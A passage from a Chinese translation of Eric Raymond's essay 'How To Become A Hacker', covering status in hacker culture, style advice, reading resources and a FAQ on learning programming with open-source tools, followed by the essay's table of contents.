最后,你可以为这个文化本身做宣传(例如,象我这样,写一个"如何成为黑客"的正面的教程 :-) )(译者:不知道Barret把它翻成中文算不算?)。这并非一定要在你已经在这个圈子呆了很久,因以上四点中的某点而出名,有一定声誉后才能去做。 黑客文化没有领袖。精确地说,它确实有些文化英雄、部落长者、历史学家和发言人。若你在这圈内呆的够长,你或许成为其中之一。记住:黑客们不相信他们的部落长者的自夸的炫耀,因此大举追求这种名誉是危险的。与其奋力追求,不如先摆正自己的位置等它自己到你的手中——那时则要做到谦虚和优雅。 同流行的迷思相反,做一名黑客并不一定要你是个书呆子。但它确实有帮助,而且许多黑客事实上是书呆子。做一个深居简出的人有助于你集中精力进行十分重要的事情,如思考和编程。 因此,很多黑客都愿意接受"书呆子"这个外号,更有甚者使用更尖刻的"geek(怪人)"一词并引以为豪—— 这是一种宣布他们独立于主流社会的声明方式。访问 The Geek Page 参加更多的讨论。 如果你能集中足够的精力做好黑客工作同时还能有正常的生活,这很好。现在作到这一点比我在1970年代是新手的时候要容易的多;如今主流文化对技术怪人要友善的多。甚至有越来越多的人意识到黑客通常是很好的恋人和配偶的材料。 如果你因为生活上不如意而迷上做黑客,那也没什么——至少你不会分神了。或许以后你会找到自己的另一半。 重申一下,作为一名黑客,你必须进入黑客精神之中。当你不在计算机边上时,你仍然有很多对黑客工作有帮助的事情可做。它们并不能替代真正的编程(没有什么能),但很多黑客都那么做,并感到它们与黑客的本质存在某些基本的连系。 学会流畅地用母语写作。尽管程序员不能写好文章的错误看法相当普遍,但是有令人惊讶数目的黑客(包括所有我知道的最棒的)都是不错的作家。 阅读科幻小说。参加科幻小说讨论会。(一个碰到黑客和未来会成为黑客的人的好方法) 学禅,并且/或者练功习武。(精神修炼看来是惊人相似。) 练就能分析音乐的听觉,学会鉴赏特别的音乐。学会玩某种乐器,或唱歌。 提高对双关语、文字游戏的鉴赏能力。 这些事情,你已经做的越多,你就越是天生做黑客的材料。至于为什么偏偏是这些事情,原因并不完全清楚,但它们都涉及用到左-右脑能力的综合,这似乎是关键所在(黑客们既需要清晰的逻辑思维,有时又需要偏离逻辑跳出问题的表象)。 最后,还有一些不要去做的事情。 不要使用愚蠢的,哗众取宠的ID或昵称。 不要卷入Usenet(或其他地方的论坛)的骂战。 不要自称为"cyberpunk(网络叛客)",也不要浪费时间和那些人打交道。 不要让你寄出的Email或张贴的帖子充满错误的拼写和乱七八糟的语法。 做以上的事情,只会招来嘲笑。黑客们个个记忆超群—— 你将需要数年的时间让他们忘记你犯下的错误。 网名的问题值得深思。将身份隐藏在虚假的名字后是骇客、解密者、d00dz 及其他低等生物幼稚愚蠢的行为特点。黑客不会做这些事;他们对他们所作的感到骄傲,而且乐于人们将作品与他们的 真名相联系。因此, 若你现在用假名,放弃它。在黑客文化里它会令你你失败的。 Peter Seebach 维护着一个非常好的 Hacker FAQ,专给那些不懂如何与黑客打交道的经理看的。如果Peter的站点不能访问,下面这个 Excite搜索应该有一份拷贝。 我也著有 黑客文化简史。 我写了一份 大教堂与市集,对于Linux及开放源代码文化现象有详细的解释。我也在这个话题上进一步阐述导致的结局—— 开拓智域。 Rick Moen写了一份很好的关于 如何运转一个Linux用户组的文档。 我和Rick Moen合作完成了另一份关于 提问的智慧的文章,可以让你事半功倍的获得帮助。 如果你想知道PC、UNIX及Internet基本概念和工作原理,参考 The Unix and Internet Fundamentals HOWTO。 当你释放出一个软件或为其打补丁,试着按 软件发行惯例 HOWTO去做。(以上的提到的文章的中文版大多都可以在www.aka.org.cn和www.linuxforum.net找到。) 答:自从第一次发布这份文档,我每周都会收到一些请求,(频繁的话一天几封)要我"教会他们做黑客"。遗憾的是,我没有时间和精力来做这个;我自己的黑客项目,及我作为一个开放源代码倡导者的四处奔波已经占用了我110%的时间。 即便我想教你,黑客也依然基本上是一项自行修炼的的态度和技术。当真正的黑客想帮助你的时候,如果你乞求他们一汤匙一汤匙"喂"你的话,你会发现他们不会尊重你。 先去学一些东西。显示你在尝试,你能靠自己去学习。然后再去向你遇到的黑客请教特殊的问题。 如果你发E-mail给一位黑客寻求他的帮助,这是两件首要记住的事情。第一,写出来的文字显得懒且粗心的人通常非常懒于思考且非常马大哈,不能成为好黑客—— 因此注意拼写正确,使用正确的语法及发音,否则你可能会无人理睬。第二,不要试图要求回复到一个ISP帐号,而那个帐号与你的发信地址不同。这样做的人一般是使用盗用帐号,不会有人有兴趣为虎作伥帮助窃贼的。 答:对你而言最佳的入门方式也许是去参加LUG(Linux用户组)的聚会。你可以找到在 LDP的综合Linux信息页面上找到类似的组织;也许有一个在你家附近的,而且非常有可能与一所大学或学校挂钩。如果你提出要求,LUG成员兴许会给你一套Linux,当然此后会帮你安装并带你入门。 答:这取决于你的聪明程度和努力程度。大多数人只要他们专注,就能在18个月到2年之间学会一套令人尊敬的技能。但是,不要以为就此结束了;如果你是一个真正的黑客,你要用你的余生来学习和完善你的技术。 答:不,因为他们不是可移植的。他们不是那些语言的开放源代码实现,所以你被限制在厂商选择支持的那些平台里。接受这样一种垄断局面不是黑客的态度。 Visual Basic特别糟糕。它是Microsoft的私有语言这个事实就足够让它脸面全无,不像其他的Basic,它是一种设计糟糕的语言会教给你坏的编程习惯。 其中一个坏习惯是会依赖于单一厂商的函数库、控件及开发工具。一般而言,任何不能够支持至少Linux或者一种BSD,或其他第三方操作系统的语言,都是一种不适合应付黑客工作的语言。 答:No。任何读完这份FAQ后还问这个问题的人,都是无可救药的蠢材,即使有时间指教我也不会理睬。任何发给我的此类E-mail都会被忽略或被痛骂一顿。 答:不行。目前为止,每次问我这个问题的,都是一些运行Microsoft Windows的菜鸟。不可能有效的保护Windows系统免受骇客攻击;太多缺陷的代码和架构使保护Windows的努力有如隔靴搔痒。唯一可靠的预防来自转移到Linux或其他设计得至少足够安全的系统。 答:最佳办法是在你附近找一个Unix或Linux的用户组,参加他们的聚会。(你可以在Metalab的LDP站点找到一些指向用户组的链接。) 我过去曾说过不能在IRC上找到真正的黑客,但我发觉现在情况有所改变。显然一些真正的黑客的社区像GIMP及Perl,也有IRC频道了。) 答:我维护着一份Linux Reading List HOWTO,也许你会觉得有用。 Loginataka也很有意思。 关于Python的介绍,请访问在Python站点上的 入门资料。 答:不用。黑客道很少使用常规的数学或算术,不过你绝对需要能逻辑性地思考和进行精密的推理。 尤其是你不会用到微积分或电路分析(我们把这些留给电子工程师们 :-))。 一些有限数学(包括布尔代数,集合论,组合数学,图论)的背景知识会有帮助。 答:HTML——如果你还不懂的话。市面上有一大堆的封面精美,宣传得天花乱坠的 糟糕的 HTML书籍,不幸的是很少有好的。我最喜欢的是 HTML: The Definitive Guide。 但 HTML 不完全是一种编程语言。当你准备开始编程时,我推荐从 Python起步。你会听到一大群人推荐 Perl,并且 Perl 依然比 Python 流行得多,但是难学得多且(以我之见)设计得不是很好。 C 确实重要,但它要比 Python 或 Perl 难多了。不要尝试先学 C。 Windows用户不要满足于 Visual Basic。它会教给你坏习惯,而且它不可以移植,只能在Windows下运行。避免它。 答:过去个人电脑能力相当不够并且内存小,结果给黑客的学习过程设置了人为的障碍。不过一段时间以前开始就不是这样了;任何配置比一台 Intel 486DX50 好的机器都有足够的能力进行开发工作,X,及 Internet 通讯,同时你现在买的最小的磁盘都大得富足了。(依Barret之见,现在要至少Pentium 166MMX才够。) 选择用来学习的机器时重要的一点是注意配件是否是Linux兼容的(或BSD兼容,如果你选择学 BSD)。同刚才提到的一样,大多数现在的机器都是符合的;唯一的值得注意的区域在于 modem和打印机;有些具备为Windows设计的配件的机器不会在Linux下工作。 关于硬件兼容性有一个FAQ;最新版本在 这里。 答:不,你不必如此。不是因为Microsoft不令人讨厌,而是因为黑客文化早在 Microsoft出现之前就存在了,且将在Microsoft成为历史后依然存在。你耗费在憎恨Microsoft的任何力气不如花在爱你的技术上。写好的代码—— 那会相当有效地打击Microsoft又不会让你得到恶报应。 答:看起来不太可能——目前为止,开放源代码软件产业似乎创造了更多的就业机会而不是减少就业机会。如果写一个程序比起不写来是纯经济收益的话,那么在写完后,程序员应该得到报酬不管程序是否是开放源代码。并且,无论写出多么"免费自由"的软件,都存在更多对新的,定制的软件的需求。我有这方面更多的论述,放在开放源代码 网站资料中。
为什么会有这份文档?
什么是黑客?
黑客应有的态度
look to the master,(寻找大师,)
follow the master,(跟随大师,)
walk with the master,(与大师通行,)
see through the master,(洞察大师,)
become the master.(成为大师。)
1. 世界充满了待解决的迷人问题。
2. 一个问题不应该被解决两次。
3. 无聊和乏味的工作是罪恶。
4. 自由万岁。
5. 态度不能替代能力。
黑客的基本技能
1. 学习如何编程。
2. 得到一个开放源代码的Unix并学会使用、运行它。
3. 学会如何使用WWW和写HTML
4. 如果你不懂实用性的英语,学习吧。
黑客文化中的地位
1. 写开放源代码软件
2. 帮助测试并调试开放源代码软件
4. 帮助维护基础设施的运转
5. 为黑客文化本身服务
黑客和书呆子(Nerd)的联系
风格的意义
其它资源
FAQ(常问问题解答)


